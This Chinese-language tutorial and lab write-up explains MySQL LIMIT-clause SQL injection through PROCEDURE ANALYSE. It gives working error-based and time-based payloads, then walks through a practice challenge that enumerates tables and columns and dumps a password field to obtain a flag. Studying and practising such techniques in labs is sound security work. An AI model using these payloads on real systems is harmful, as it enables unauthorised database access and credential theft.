一、mysql里面的几个函数的解释
(一) Select 查询官方解释
1. SELECT
2. [ALL | DISTINCT | DISTINCTROW ]
3. [HIGH_PRIORITY]
4. [STRAIGHT_JOIN]
5. [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
6. [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
7. select_expr [, select_expr ...]
8. [FROM table_references
9. [WHERE where_condition]
10. [GROUP BY {col_name | expr | position}
11. [ASC | DESC], ... [WITH ROLLUP]]
12. [HAVING where_condition]
13. [ORDER BY {col_name | expr | position}
14. [ASC | DESC], ...]
15. [LIMIT {[offset,] row_count | row_count OFFSET offset}]
16. [PROCEDURE procedure_name(argument_list)]
17. [INTO OUTFILE 'file_name' export_options
18. | INTO DUMPFILE 'file_name'
19. | INTO var_name [, var_name]]
20. [FOR UPDATE | LOCK IN SHARE MODE]]
可知如下语句:
Select *****from*****where*****group by*****asc/desc***with rollup*****having*****order by*****asc/desc***limit**procedure*****into****for updata****
也即是select后面还可以有很多标识句构成的语句。
(二) Limit注入解析
1、问题由来:
参考:http://netsecurity.51cto.com/art/201501/464519.htm
在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决办法,当时的注入点是在limit关键字后面,数据库是MySQL5.x,SQL语句类似下面这样:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】
问题的关键在于,语句中有order by 关键字,我们知道,mysql 中在order by 前面可以使用union 关键字,所以如果注入点前面没有order by 关键字,就可以顺利的使用union 关键字,但是现在的情况是,注入点前面有order by 关键字,这个问题在stackoverflow 上和sla.ckers上都有讨论,但是都没有什么有效的解决办法。
2、问题分析
limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)。
尝试用这个存储过程:
1. mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
2. ERROR 1386 (HY000): Can't use ORDER clause with this procedure
ANALYSE支持两个参数,试试两个参数:
1. mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);
2. ERROR 1386 (HY000): Can't use ORDER clause with this procedure
依然无效,尝试在 ANALYSE 中插入 sql 语句:
mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
响应如下:
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’
事实证明,sleep 没有被执行,最终,我尝试了如下payload :
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
啊哈,上面的方法就是常见的报错注入,所以,如果注入点支持报错,那所有问题都ok,但是如果注入点不是报错的,还可以使用 time-based 的注入,payload 如下:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
有意思的是,这里不能用sleep而只能用 BENCHMARK。
3、一些函数解释
1、procedure analyse():
语法如下:
select column from table_name procedure analyse();
PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议。
参考:http://blog.youkuaiyun.com/yufaw/article/details/7657923
2、ExtractValue()
对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
3、rand()函数
获取一个随机值
Order by rand():随机排列
4、concat()函数
连接函数,比如连接字符串。
5、Version()
获取版本号
6、
Procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
就是依靠analyse函数,查询版本号,返回信错信息。
二、习题解答
0x1 打开网址:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1
发现如下内容:
通过对start以及num参数测试,发现只改变start的时候并且num!=0或者不为null或者存在的时候,会显示不同界面。
0x2 进行测试
Payload:http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1&num=2%df' order by 3 %23
发现都会返回
类似错误。所以肯定是都start以及num进行了limit限制。这就涉及到了limit注入。
0x3 进行limit注入分析
查找网上,发现 可以如下构造:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1&num=2 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
返回;
返回了版本号,说明存在显错注入。
那么就可以把version()换成sql注入语句。
0x4 常规注入
1 查询数据库
Payload:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1&num=2 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
得到:
2 查询表
Payload:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1&num=2 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=0x6d79646273))),1);
得到:
3 查询段
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1&num=2 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572))),1);
得到user表里面的段:
id,username,password,lastloginI 共计4个段
4 查询段内容
Payload:
http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=1&num=2 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(password) from user))),1);
得到:
得到FLAG:myflagishere